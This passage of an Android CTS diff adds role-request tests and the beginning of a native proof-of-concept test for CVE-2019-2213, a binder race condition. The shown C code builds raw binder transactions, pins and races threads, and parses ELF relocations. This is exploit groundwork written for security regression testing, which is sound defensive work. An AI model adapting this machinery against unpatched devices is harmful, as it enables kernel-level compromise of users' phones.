+                .putExtra(Intent.EXTRA_PACKAGE_NAME, APP_PACKAGE_NAME));
+        Pair<Integer, Intent> result = activity.waitForActivityResult(TIMEOUT_MILLIS);
+        assertThat(result.first).isEqualTo(Activity.RESULT_CANCELED);
+    }
+
+    @Test
+    public void targetCurrentSdkAndChangeDefaultSmsThenIsCanceled() throws Exception {
+        WaitForResultActivity activity = mActivityRule.getActivity();
+        activity.startActivityToWaitForResult(new Intent()
+                .setComponent(new ComponentName(APP_PACKAGE_NAME,
+                        APP_CHANGE_DEFAULT_SMS_ACTIVITY_NAME))
+                .putExtra(Intent.EXTRA_PACKAGE_NAME, APP_PACKAGE_NAME));
+        Pair<Integer, Intent> result = activity.waitForActivityResult(TIMEOUT_MILLIS);
+        assertThat(result.first).isEqualTo(Activity.RESULT_CANCELED);
+    }
+
+    @FlakyTest
+    @Test
+    public void targetSdk28AndChangeDefaultDialerAndAllowThenIsDefaultDialer() throws Exception {
+        sContext.startActivity(new Intent()
+                .setComponent(new ComponentName(APP_28_PACKAGE_NAME,
+                        APP_28_CHANGE_DEFAULT_DIALER_ACTIVITY_NAME))
+                .putExtra(Intent.EXTRA_PACKAGE_NAME, APP_28_PACKAGE_NAME)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+        allowRoleRequestForApp28();
+        TelecomManager telecomManager = sContext.getSystemService(TelecomManager.class);
+        TestUtils.waitUntil("App is not set as default dialer app", () -> Objects.equals(
+                telecomManager.getDefaultDialerPackage(), APP_28_PACKAGE_NAME));
+    }
+
+    @FlakyTest
+    @Test
+    public void targetSdk28AndChangeDefaultSmsAndAllowThenIsDefaultSms() throws Exception {
+        sContext.startActivity(new Intent()
+                .setComponent(new ComponentName(APP_28_PACKAGE_NAME,
+                        APP_28_CHANGE_DEFAULT_SMS_ACTIVITY_NAME))
+                .putExtra(Intent.EXTRA_PACKAGE_NAME, APP_28_PACKAGE_NAME)
+                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+        allowRoleRequestForApp28();
+        TestUtils.waitUntil("App is not set as default sms app", () -> Objects.equals(
+                Telephony.Sms.getDefaultSmsPackage(sContext), APP_28_PACKAGE_NAME));
+    }
+
+    private void allowRoleRequestForApp28() throws InterruptedException, IOException {
+        UiObject2 item = sUiDevice.wait(Until.findObject(By.text(APP_28_LABEL)), TIMEOUT_MILLIS);
+        if (item == null) {
+            dumpWindowHierarchy();
+            fail("Cannot find item to click");
+        }
+        item.click();
+        UiObject2 button = sUiDevice.wait(Until.findObject(By.res("android:id/button1")),
+                TIMEOUT_MILLIS);
+        if (button == null) {
+            dumpWindowHierarchy();
+            fail("Cannot find button to click");
+        }
+        button.click();
     }
 
     @Test
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index f4ae8a7..419aecb 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -27,6 +27,7 @@
     ctstestserver \
     ctstestrunner-axt \
     compatibility-device-util-axt \
+    compatibility-common-util-devicesidelib \
     guava \
     platform-test-annotations
 
@@ -43,7 +44,8 @@
                       libselinux \
                       libc++ \
                       libpcre2 \
-                      libpackagelistparser
+                      libpackagelistparser \
+                      libcve_2019_2213_jni \
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)\
                    src/android/security/cts/activity/ISecureRandomService.aidl\
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index 4207444..29d80d2 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -51,6 +51,36 @@
         </activity>
 
         <activity
+            android:name="android.security.cts.BinderExploitTest$CVE_2019_2213_Activity"
+            android:label="Test Binder Exploit Race Condition activity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+
+        <activity
+            android:name="android.security.cts.NanoAppBundleTest$FailActivity"
+            android:label="Test Nano AppBundle customized failure catch activity">
+            <intent-filter>
+                <action android:name="android.intent.action.RUN" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+        <service
+            android:name="android.security.cts.NanoAppBundleTest$AuthenticatorService"
+            android:enabled="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/authenticator" />
+        </service>
+
+        <activity
             android:name="android.security.cts.SkiaJpegDecodingActivity"
             android:label="Test overflow in libskia JPG processing">
             <intent-filter>
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java b/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl
similarity index 73%
copy from hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
copy to tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl
index 4cf6efa..1b6d7d9 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/LockTaskUtilityActivityIfWhitelisted.java
+++ b/tests/tests/security/aidl/android/security/cts/IBinderExchange.aidl
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2015 The Android Open Source Project
+ * Copyright 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -14,7 +14,11 @@
  * limitations under the License.
  */
 
-package com.android.cts.deviceowner;
+package android.security.cts;
 
-public class LockTaskUtilityActivityIfWhitelisted extends LockTaskUtilityActivity {
+import android.os.IBinder;
+
+interface IBinderExchange {
+    void putBinder(in IBinder bnd);
+    IBinder getBinder();
 }
diff --git a/tests/tests/security/jni/Android.bp b/tests/tests/security/jni/Android.bp
index 7193aba..6d5f1b0 100644
--- a/tests/tests/security/jni/Android.bp
+++ b/tests/tests/security/jni/Android.bp
@@ -37,3 +37,25 @@
         "-Wno-unused-variable",
     ],
 }
+
+cc_library {
+    name: "libcve_2019_2213_jni",
+    srcs: [
+        "android_security_cts_cve_2019_2213_Test.c",
+    ],
+    shared_libs: [
+        "libnativehelper_compat_libc++",
+    ],
+    static_libs: [
+        "cpufeatures",
+        "libcutils",
+    ],
+    cflags: [
+        "-Werror",
+        "-Wpointer-arith",
+        "-Wno-unused-parameter",
+        "-Wno-sign-compare",
+        "-Wno-unused-label",
+        "-Wno-unused-variable",
+    ],
+}
diff --git a/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c b/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c
new file mode 100644
index 0000000..90557a0
--- /dev/null
+++ b/tests/tests/security/jni/android_security_cts_cve_2019_2213_Test.c
@@ -0,0 +1,1911 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/socket.h>
+#include <sys/un.h>
+#include <sys/prctl.h>
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <syscall.h>
+#include <pthread.h>
+#include <dirent.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <errno.h>
+#include <sched.h>
+#include <poll.h>
+#include <elf.h>
+
+#include <cutils/log.h>
+#include <cutils/properties.h>
+#include <jni.h>
+#include <linux/android/binder.h>
+#include <cpu-features.h>
+
+#include "../../../../hostsidetests/securitybulletin/securityPatch/includes/common.h"
+
+typedef uint8_t u8;
+typedef uint16_t u16;
+typedef uint32_t u32;
+typedef uint64_t u64;
+typedef int64_t s64;
+
+jobject this;
+jmethodID add_log;
+JavaVM *jvm;
+
+#define MAX_THREADS 10
+
+struct tid_jenv {
+    int tid;
+    JNIEnv *env;
+};
+struct tid_jenv tid_jenvs[MAX_THREADS];
+int num_threads;
+
+int gettid() {
+    return (int)syscall(SYS_gettid);
+}
+
+void fail(char *msg, ...);
+
+void add_jenv(JNIEnv *e) {
+    if (num_threads >= MAX_THREADS) {
+        fail("too many threads");
+        return;
+    }
+    struct tid_jenv *te = &tid_jenvs[num_threads++];
+    te->tid = gettid();
+    te->env = e;
+}
+
+JNIEnv *get_jenv() {
+    int tid = gettid();
+    for (int i = 0; i < num_threads; i++) {
+        struct tid_jenv *te = &tid_jenvs[i];
+        if (te->tid == tid)
+            return te->env;
+    }
+    return NULL;
+}
+
+void jni_attach_thread() {
+    JNIEnv *env;
+    (*jvm)->AttachCurrentThread(jvm, &env, NULL);
+    add_jenv(env);
+}
+
+pthread_mutex_t log_mut = PTHREAD_MUTEX_INITIALIZER;
+pthread_cond_t log_pending = PTHREAD_COND_INITIALIZER;
+pthread_cond_t log_done = PTHREAD_COND_INITIALIZER;
+volatile char *log_line;
+
+void send_log_thread(char *msg) {
+    pthread_mutex_lock(&log_mut);
+    while (log_line)
+        pthread_cond_wait(&log_done, &log_mut);
+    log_line = msg;
+    pthread_cond_signal(&log_pending);
+    pthread_mutex_unlock(&log_mut);
+}
+
+void dbg(char *msg, ...);
+
+void log_thread(u64 arg) {
+    while (1) {
+        pthread_mutex_lock(&log_mut);
+        while (!log_line)
+            pthread_cond_wait(&log_pending, &log_mut);
+        dbg("%s", log_line);
+        free((void*)log_line);
+        log_line = NULL;
+        pthread_cond_signal(&log_done);
+        pthread_mutex_unlock(&log_mut);
+    }
+}
+
+void dbg(char *msg, ...) {
+    char *line;
+    va_list va;
+    JNIEnv *env = get_jenv();
+    va_start(va, msg);
+    if (vasprintf(&line, msg, va) >= 0) {
+        if (env) {
+            jstring jline = (*env)->NewStringUTF(env, line);
+            (*env)->CallVoidMethod(env, this, add_log, jline);
+            free(line);
+        } else {
+            send_log_thread(line);
+        }
+    }
+    va_end(va);
+}
+
+void fail(char *msg, ...) {
+    char *line;
+    va_list va;
+    va_start(va, msg);
+    if (vasprintf(&line, msg, va) >= 0)
+        dbg("FAIL: %s (errno=%d)", line, errno);
+    va_end(va);
+}
+
+struct buffer {
+    char *p;
+    u32 size;
+    u32 off;
+};
+
+typedef struct buffer buf_t;
+
+struct parser {
+    u8 *buf;
+    u8 *p;
+    u32 size;
+};
+
+typedef struct parser parser_t;
+
+parser_t *new_parser() {
+    parser_t *ret = malloc(sizeof(parser_t));
+    ret->size = 0x400;
+    ret->buf = ret->p = malloc(ret->size);
+    return ret;
+}
+
+void free_parser(parser_t *parser) {
+    free(parser->buf);
+    free(parser);
+}
+
+int parser_end(parser_t *p) {
+    return !p->size;
+}
+
+void *parser_get(parser_t *p, u32 sz) {
+    if (sz > p->size) {
+        fail("parser size exceeded");
+        return NULL;
+    }
+    p->size -= sz;
+    u8 *ret = p->p;
+    p->p += sz;
+    return ret;
+}
+
+u32 parse_u32(parser_t *p) {
+    u32 *pu32 = parser_get(p, sizeof(u32));
+    return (pu32 == NULL) ? (u32)-1 : *pu32;
+}
+
+buf_t *new_buf_sz(u32 sz) {
+    buf_t *b = malloc(sizeof(buf_t));
+    b->size = sz;
+    b->off = 0;
+    b->p = malloc(sz);
+    return b;
+}
+
+buf_t *new_buf() {
+    return new_buf_sz(0x200);
+}
+
+void free_buf(buf_t *buf) {
+    free(buf->p);
+    free(buf);
+}
+
+void *buf_alloc(buf_t *b, u32 s) {
+    s = (s + 3) & ~3;
+    if (b->size - b->off < s)
+        fail("out of buf space");
+    char *ret = b->p + b->off;
+    b->off += s;
+    memset(ret, 0x00, s);
+    return ret;
+}
+
+void buf_u32(buf_t *b, u32 v) {
+    char *p = buf_alloc(b, sizeof(u32));
+    *(u32*)p = v;
+}
+
+void buf_u64(buf_t *b, u64 v) {
+    char *p = buf_alloc(b, sizeof(u64));
+    *(u64*)p = v;
+}
+
+void buf_uintptr(buf_t *b, u64 v) {
+    char *p = buf_alloc(b, sizeof(u64));
+    *(u64*)p = v;
+}
+
+void buf_str16(buf_t *b, const char *s) {
+    if (!s) {
+        buf_u32(b, 0xffffffff);
+        return;
+    }
+    u32 len = strlen(s);
+    buf_u32(b, len);
+    u16 *dst = (u16*)buf_alloc(b, (len + 1) * 2);
+    for (u32 i = 0; i < len; i++)
+        dst[i] = s[i];
+    dst[len] = 0;
+}
+
+void buf_binder(buf_t *b, buf_t *off, void *ptr) {
+    buf_u64(off, b->off);
+    struct flat_binder_object *fp = buf_alloc(b, sizeof(*fp));
+    fp->hdr.type = BINDER_TYPE_BINDER;
+    fp->flags = FLAT_BINDER_FLAG_ACCEPTS_FDS;
+    fp->binder = (u64)ptr;
+    fp->cookie = 0;
+}
+
+static inline void binder_write(int fd, buf_t *buf);
+
+void enter_looper(int fd) {
+    buf_t *buf = new_buf();
+    buf_u32(buf, BC_ENTER_LOOPER);
+    binder_write(fd, buf);
+}
+
+void init_binder(int fd) {
+    void *map_ret = mmap(NULL, 0x200000, PROT_READ, MAP_PRIVATE, fd, 0);
+    if (map_ret == MAP_FAILED)
+        fail("map fail");
+    enter_looper(fd);
+}
+
+int open_binder() {
+    int fd = open("/dev/binder", O_RDONLY);
+    if (fd < 0)
+        fail("open binder fail");
+    init_binder(fd);
+    return fd;
+}
+
+static inline void binder_rw(int fd, void *rbuf, u32 rsize,
+        void *wbuf, u32 wsize, u32 *read_consumed, u32 *write_consumed) {
+    struct binder_write_read bwr;
+    memset(&bwr, 0x00, sizeof(bwr));
+    bwr.read_buffer = (u64)rbuf;
+    bwr.read_size = rsize;
+    bwr.write_buffer = (u64)wbuf;
+    bwr.write_size = wsize;
+    if (ioctl(fd, BINDER_WRITE_READ, &bwr) < 0)
+        fail("binder ioctl fail");
+    if (read_consumed)
+        *read_consumed = bwr.read_consumed;
+    if (write_consumed)
+        *write_consumed = bwr.write_consumed;
+}
+
+void binder_read(int fd, void *rbuf, u32 rsize, u32 *read_consumed) {
+    binder_rw(fd, rbuf, rsize, 0, 0, read_consumed, NULL);
+}
+
+static inline void binder_write(int fd, buf_t *buf) {
+    u32 write_consumed;
+    binder_rw(fd, 0, 0, buf->p, buf->off, NULL, &write_consumed);
+    if (write_consumed != buf->off)
+        fail("binder write fail");
+    free_buf(buf);
+}
+
+void do_send_txn(int fd, u32 to, u32 code, buf_t *trdat, buf_t *troff, int oneway, int is_reply, binder_size_t extra_sz) {
+    buf_t *buf = new_buf();
+    buf_u32(buf, is_reply ? BC_REPLY_SG : BC_TRANSACTION_SG);
+    struct binder_transaction_data_sg *tr;
+    tr = buf_alloc(buf, sizeof(*tr));
+    struct binder_transaction_data *trd = &tr->transaction_data;
+    trd->target.handle = to;
+    trd->code = code;
+    if (oneway)
+        trd->flags |= TF_ONE_WAY;
+    trd->data.ptr.buffer = trdat ? (u64)trdat->p : 0;
+    trd->data.ptr.offsets = troff ? (u64)troff->p : 0;
+    trd->data_size = trdat ? trdat->off : 0;
+    trd->offsets_size = troff ? troff->off : 0;
+    tr->buffers_size = extra_sz;
+    binder_write(fd, buf);
+    if (trdat)
+        free_buf(trdat);
+    if (troff)
+        free_buf(troff);
+}
+
+void send_txn(int fd, u32 to, u32 code, buf_t *trdat, buf_t *troff) {
+    do_send_txn(fd, to, code, trdat, troff, 0, 0, 0);
+}
+
+void send_reply(int fd) {
+    do_send_txn(fd, 0, 0, NULL, NULL, 0, 1, 0);
+}
+
+static inline void chg_ref(int fd, unsigned desc, u32 cmd) {
+    buf_t *buf = new_buf();
+    buf_u32(buf, cmd);
+    buf_u32(buf, desc);
+    binder_write(fd, buf);
+}
+
+void inc_ref(int fd, unsigned desc) {
+    chg_ref(fd, desc, BC_ACQUIRE);
+}
+
+void dec_ref(int fd, unsigned desc) {
+    chg_ref(fd, desc, BC_RELEASE);
+}
+
+static inline void free_buffer(int fd, u64 ptr) {
+    buf_t *buf = new_buf();
+    buf_u32(buf, BC_FREE_BUFFER);
+    buf_uintptr(buf, ptr);
+    binder_write(fd, buf);
+}
+
+typedef struct {
+    int fd;
+    char *buf;
+    binder_size_t size;
+    binder_size_t parsed;
+    binder_size_t *offsets;
+    binder_size_t num_offsets;
+    u32 code;
+    u64 ptr;
+} txn_t;
+
+void *txn_get(txn_t *t, u32 sz) {
+    sz = (sz + 3) & ~3u;
+    if (sz > t->size - t->parsed)
+        fail("txn get not enough data");
+    char *ret = t->buf + t->parsed;
+    t->parsed += sz;
+    return ret;
+}
+
+binder_size_t txn_offset(txn_t *t) {
+    return t->parsed;
+}
+
+void txn_set_offset(txn_t *t, binder_size_t off) {
+    t->parsed = off;
+}
+
+u32 txn_u32(txn_t *t) {
+    return *(u32*)txn_get(t, sizeof(u32));
+}
+
+int txn_int(txn_t *t) {
+    return *(int*)txn_get(t, sizeof(int));
+}
+
+u32 txn_handle(txn_t *t) {
+    struct flat_binder_object *fp;
+    fp = txn_get(t, sizeof(*fp));
+    if (fp->hdr.type != BINDER_TYPE_HANDLE)
+        fail("expected binder");
+    return fp->handle;
+}
+
+u16 *txn_str(txn_t *t) {
+    int len = txn_int(t);
+    if (len == -1)
+        return NULL;
+   if (len > 0x7fffffff / 2 - 1)
+        fail("bad txn str len");
+    return txn_get(t, (len + 1) * 2);
+}
+
+static inline u64 txn_buf(txn_t *t) {
+    return (u64)t->buf;
+}
+
+void free_txn(txn_t *txn) {
+    free_buffer(txn->fd, txn_buf(txn));
+}
+
+
+void handle_cmd(int fd, u32 cmd, void *dat) {
+    if (cmd == BR_ACQUIRE || cmd == BR_INCREFS) {
+        struct binder_ptr_cookie *pc = dat;
+        buf_t *buf = new_buf();
+        u32 reply = cmd == BR_ACQUIRE ? BC_ACQUIRE_DONE : BC_INCREFS_DONE;
+        buf_u32(buf, reply);
+        buf_uintptr(buf, pc->ptr);
+        buf_uintptr(buf, pc->cookie);
+        binder_write(fd, buf);
+    }
+}
+
+void recv_txn(int fd, txn_t *t) {
+    u32 found = 0;
+    while (!found) {
+        parser_t *p = new_parser();
+        binder_read(fd, p->p, p->size, &p->size);
+        while (!parser_end(p)) {
+            u32 cmd = parse_u32(p);
+            void *dat = (void *)parser_get(p, _IOC_SIZE(cmd));
+            if (dat == NULL) {
+                return;
+            }
+            handle_cmd(fd, cmd, dat);
+            if (cmd == BR_TRANSACTION || cmd == BR_REPLY) {
+                struct binder_transaction_data *tr = dat;
+                if (!parser_end(p))
+                    fail("expected parser end");
+                t->fd = fd;
+                t->buf = (char*)tr->data.ptr.buffer;
+                t->parsed = 0;
+                t->size = tr->data_size;
+                t->offsets = (binder_size_t*)tr->data.ptr.offsets;
+                t->num_offsets = tr->offsets_size / sizeof(binder_size_t);
+                t->code = tr->code;
+                t->ptr = tr->target.ptr;
+                found = 1;
+            }
+        }
+        free_parser(p);
+    }
+}
+
+u32 recv_handle(int fd) {
+    txn_t txn;
+    recv_txn(fd, &txn);
+    u32 hnd = txn_handle(&txn);
+    inc_ref(fd, hnd);
+    free_txn(&txn);
+    return hnd;
+}
+
+u32 get_activity_svc(int fd) {
+    buf_t *trdat = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.os.IServiceManager");
+    buf_str16(trdat, "activity");
+    int SVC_MGR_GET_SERVICE = 1;
+    send_txn(fd, 0, SVC_MGR_GET_SERVICE, trdat, NULL);
+    return recv_handle(fd);
+}
+
+void txn_part(txn_t *t) {
+    int repr = txn_int(t);
+    if (repr == 0) {
+        txn_str(t);
+        txn_str(t);
+    } else if (repr == 1 || repr == 2) {
+        txn_str(t);
+    } else {
+        fail("txn part bad repr");
+    }
+}
+
+void txn_uri(txn_t *t) {
+    int type = txn_int(t);
+    if (type == 0) // NULL_TYPE_ID
+        return;
+    if (type == 1) { // StringUri.TYPE_ID
+        txn_str(t);
+    } else if (type == 2) {
+        txn_str(t);
+        txn_part(t);
+        txn_part(t);
+    } else if (type == 3) {
+        txn_str(t);
+        txn_part(t);
+        txn_part(t);
+        txn_part(t);
+        txn_part(t);
+    } else {
+        fail("txn uri bad type");
+    }
+}
+
+void txn_component(txn_t *t) {
+    u16 *pkg = txn_str(t);
+    if (pkg)
+        txn_str(t); // class
+}
+
+void txn_rect(txn_t *t) {
+    txn_int(t);
+    txn_int(t);
+    txn_int(t);
+    txn_int(t);
+}
+
+int str16_eq(u16 *s16, char *s) {
+    while (*s) {
+        if (*s16++ != *s++)
+            return 0;
+    }
+    return !*s16;
+}
+
+void txn_bundle(txn_t *t, u32 *hnd) {
+    int len = txn_int(t);
+    if (len < 0)
+        fail("bad bundle len");
+    if (len == 0)
+        return;
+    int magic = txn_int(t);
+    if (magic != 0x4c444e42 && magic != 0x4c444e44)
+        fail("bad bundle magic");
+    binder_size_t off = txn_offset(t);
+    int count = txn_int(t);
+    if (count == 1) {
+        u16 *key = txn_str(t);
+        int type = txn_int(t);
+        if (str16_eq(key, "bnd") && type == 15)
+            *hnd = txn_handle(t);
+    }
+    txn_set_offset(t, off);
+    txn_get(t, len);
+}
+
+void txn_intent(txn_t *t, u32 *hnd) {
+    txn_str(t); // action
+    txn_uri(t);
+    txn_str(t); // type
+    txn_int(t); // flags
+    txn_str(t); // package
+    txn_component(t);
+    if (txn_int(t)) // source bounds
+        txn_rect(t);
+    int n = txn_int(t);
+    if (n > 0) {
+        for (int i = 0; i < n; i++)
+            txn_str(t);
+    }
+    if (txn_int(t)) // selector
+        txn_intent(t, NULL);
+    if (txn_int(t))
+        fail("unexpected clip data");
+    txn_int(t); // content user hint
+    txn_bundle(t, hnd); // extras
+}
+
+void get_task_info(int fd, u32 app_task, u32 *hnd) {
+    buf_t *trdat = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.app.IAppTask");
+    send_txn(fd, app_task, 1 + 1, trdat, NULL);
+    txn_t txn;
+    recv_txn(fd, &txn);
+    if (txn_u32(&txn) != 0)
+        fail("getTaskInfo exception");
+    if (txn_int(&txn) == 0)
+        fail("getTaskInfo returned null");
+    txn_int(&txn); // id
+    txn_int(&txn); // persistent id
+    if (txn_int(&txn) > 0) // base intent
+        txn_intent(&txn, hnd);
+    if (*hnd != ~0u)
+        inc_ref(fd, *hnd);
+    free_txn(&txn);
+}
+
+u32 get_app_tasks(int fd, u32 actsvc) {
+    buf_t *trdat = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.app.IActivityManager");
+    buf_str16(trdat, "android.security.cts");
+    send_txn(fd, actsvc, 1 + 199, trdat, NULL);
+    txn_t txn;
+    recv_txn(fd, &txn);
+    if (txn_u32(&txn) != 0)
+        fail("getAppTasks exception");
+    int n = txn_int(&txn);
+    if (n < 0)
+        fail("getAppTasks n < 0");
+    u32 hnd = ~0u;
+    for (int i = 0; i < n; i++) {
+        u32 app_task = txn_handle(&txn);
+        get_task_info(fd, app_task, &hnd);
+        if (hnd != ~0u)
+            break;
+    }
+    if (hnd == ~0u)
+        fail("didn't find intent extras binder");
+    free_txn(&txn);
+    return hnd;
+}
+
+u32 get_exchg(int fd) {
+    u32 actsvc = get_activity_svc(fd);
+    u32 ret = get_app_tasks(fd, actsvc);
+    dec_ref(fd, actsvc);
+    return ret;
+}
+
+int get_binder(u32 *exchg) {
+    int fd = open_binder();
+    *exchg = get_exchg(fd);
+    return fd;
+}
+
+void exchg_put_binder(int fd, u32 exchg) {
+    buf_t *trdat = new_buf();
+    buf_t *troff = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.security.cts.IBinderExchange");
+    buf_binder(trdat, troff, (void*)1);
+    send_txn(fd, exchg, 1, trdat, troff);
+    txn_t txn;
+    recv_txn(fd, &txn);
+    free_txn(&txn);
+}
+
+u32 exchg_get_binder(int fd, u32 exchg) {
+    buf_t *trdat = new_buf();
+    buf_u32(trdat, 0); // policy
+    buf_str16(trdat, "android.security.cts.IBinderExchange");
+    send_txn(fd, exchg, 2, trdat, NULL);
+    txn_t txn;
+    recv_txn(fd, &txn);
+    if (txn_u32(&txn) != 0)
+        fail("getBinder exception");
+    u32 hnd = txn_handle(&txn);
+    inc_ref(fd, hnd);
+    free_txn(&txn);
+    return hnd;
+}
+
+void set_idle() {
+  struct sched_param param = {
+    .sched_priority = 0
+  };
+  if (sched_setscheduler(0, SCHED_IDLE, &param) < 0)
+    fail("sched_setscheduler fail");
+}
+
+int do_set_cpu(int cpu) {
+    cpu_set_t set;
+    CPU_ZERO(&set);
+    CPU_SET(cpu, &set);
+    return sched_setaffinity(0, sizeof(set), &set);
+}
+
+void set_cpu(int cpu) {
+    if (do_set_cpu(cpu) < 0)
+        fail("sched_setaffinity fail");
+}
+
+struct sync {
+    pthread_cond_t cond;
+    pthread_mutex_t mutex;
+    volatile int triggered;
+    size_t num_waiters;
+    volatile size_t num_waited;
+    volatile size_t num_done;
+};
+
+typedef struct sync sync_t;
+
+sync_t *alloc_sync() {
+    sync_t *ret = malloc(sizeof(sync_t));
+    if (pthread_mutex_init(&ret->mutex, NULL) ||
+        pthread_cond_init(&ret->cond, NULL))
+        fail("pthread init failed");
+    ret->triggered = 0;
+    ret->num_waiters = 1;
+    ret->num_waited = 0;
+    ret->num_done = 0;
+    return ret;
+}
+
+void sync_set_num_waiters(sync_t *sync, size_t num_waiters) {
+    sync->num_waiters = num_waiters;
+}
+
+void sync_pth_bc(sync_t *sync) {
+    if (pthread_cond_broadcast(&sync->cond) != 0)
+        fail("pthread_cond_broadcast failed");
+}
+
+void sync_pth_wait(sync_t *sync) {
+    pthread_cond_wait(&sync->cond, &sync->mutex);
+}
+
+void sync_wait(sync_t *sync) {
+    pthread_mutex_lock(&sync->mutex);
+    sync->num_waited++;
+    sync_pth_bc(sync);
+    while (!sync->triggered)
+        sync_pth_wait(sync);
+    pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_signal(sync_t *sync) {
+    pthread_mutex_lock(&sync->mutex);
+    while (sync->num_waited != sync->num_waiters)
+        sync_pth_wait(sync);
+    sync->triggered = 1;
+    sync_pth_bc(sync);
+    pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_done(sync_t *sync) {
+    pthread_mutex_lock(&sync->mutex);
+    sync->num_done++;
+    sync_pth_bc(sync);
+    while (sync->triggered)
+        sync_pth_wait(sync);
+    pthread_mutex_unlock(&sync->mutex);
+}
+
+void sync_wait_done(sync_t *sync) {
+    pthread_mutex_lock(&sync->mutex);
+    while (sync->num_done != sync->num_waiters)
+        sync_pth_wait(sync);
+    sync->triggered = 0;
+    sync->num_waited = 0;
+    sync->num_done = 0;
+    sync_pth_bc(sync);
+    pthread_mutex_unlock(&sync->mutex);
+}
+
+static inline void ns_to_timespec(u64 t, struct timespec *ts) {
+    const u64 k = 1000000000;
+    ts->tv_sec = t / k;
+    ts->tv_nsec = t % k;
+}
+
+static inline u64 timespec_to_ns(volatile struct timespec *t) {
+     return (u64)t->tv_sec * 1000000000 + t->tv_nsec;
+}
+
+static inline u64 time_now() {
+    struct timespec now;
+    if (clock_gettime(CLOCK_MONOTONIC, &now) < 0)
+        fail("clock_gettime failed");
+    return timespec_to_ns(&now);
+}
+
+static inline void sleep_until(u64 t) {
+    struct timespec wake;
+    ns_to_timespec(t, &wake);
+    int ret = clock_nanosleep(CLOCK_MONOTONIC, TIMER_ABSTIME, &wake, NULL);
+    if (ret && ret != EINTR)
+        fail("clock_nanosleep failed");
+}
+
+void set_thread_name(const char *name) {
+    if (prctl(PR_SET_NAME, name) < 0)
+        fail("pr_set_name fail");
+}
+
+void set_timerslack() {
+    char path[64];
+    sprintf(path, "/proc/%d/timerslack_ns", gettid());
+    int fd = open(path, O_WRONLY);
+    if (fd < 0)
+        fail("open timerslack fail");
+    if (write(fd, "1\n", 2) != 2)
+        fail("write timeslack fail");
+    close(fd);
+}
+
+struct launch_dat {
+    u64 arg;
+    void (*func)(u64);
+    int attach_jni;
+    const char *name;
+};
+
+void *thread_start(void *vdat) {
+    struct launch_dat *dat = vdat;
+    if (dat->attach_jni)
+        jni_attach_thread();
+    set_thread_name(dat->name);
+    void (*func)(u64) = dat->func;
+    u64 arg = dat->arg;
+    free(dat);
+    (*func)(arg);
+    return NULL;
+}
+
+int launch_thread(const char *name, void (*func)(u64), sync_t **sync, u64 arg,
+        int attach_jni) {
+    if (sync)
+        *sync = alloc_sync();
+    struct launch_dat *dat = malloc(sizeof(*dat));
+    dat->func = func;
+    dat->arg = arg;
+    dat->attach_jni = attach_jni;
+    dat->name = name;
+    pthread_t th;
+    if (pthread_create(&th, NULL, thread_start, dat) != 0)
+        fail("pthread_create failed");
+    return pthread_gettid_np(th);
+}
+
+void *map_path(const char *path, u64 *size) {
+    int fd = open(path, O_RDONLY);
+    if (fd < 0)
+        fail("open libc fail");
+    struct stat st;
+    if (fstat(fd, &st) < 0)
+        fail("fstat fail");
+    void *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
+    if (map == MAP_FAILED)
+        fail("mmap libc fail");
+    *size = st.st_size;
+    close(fd);
+    return map;
+}
+
+typedef Elf64_Ehdr ehdr_t;
+typedef Elf64_Shdr shdr_t;
+typedef Elf64_Rela rela_t;
+typedef Elf64_Sym sym_t;
+
+shdr_t *find_rela_plt(void *elf) {
+    ehdr_t *ehdr = (ehdr_t *)elf;
+    shdr_t *shdr = ((shdr_t *)elf) + ehdr->e_shoff;
+    char *shstr = ((char *)elf) + shdr[ehdr->e_shstrndx].sh_offset;
+    for (u64 i = 0; i < ehdr->e_shnum; i++) {
+        char *name = shstr + shdr[i].sh_name;
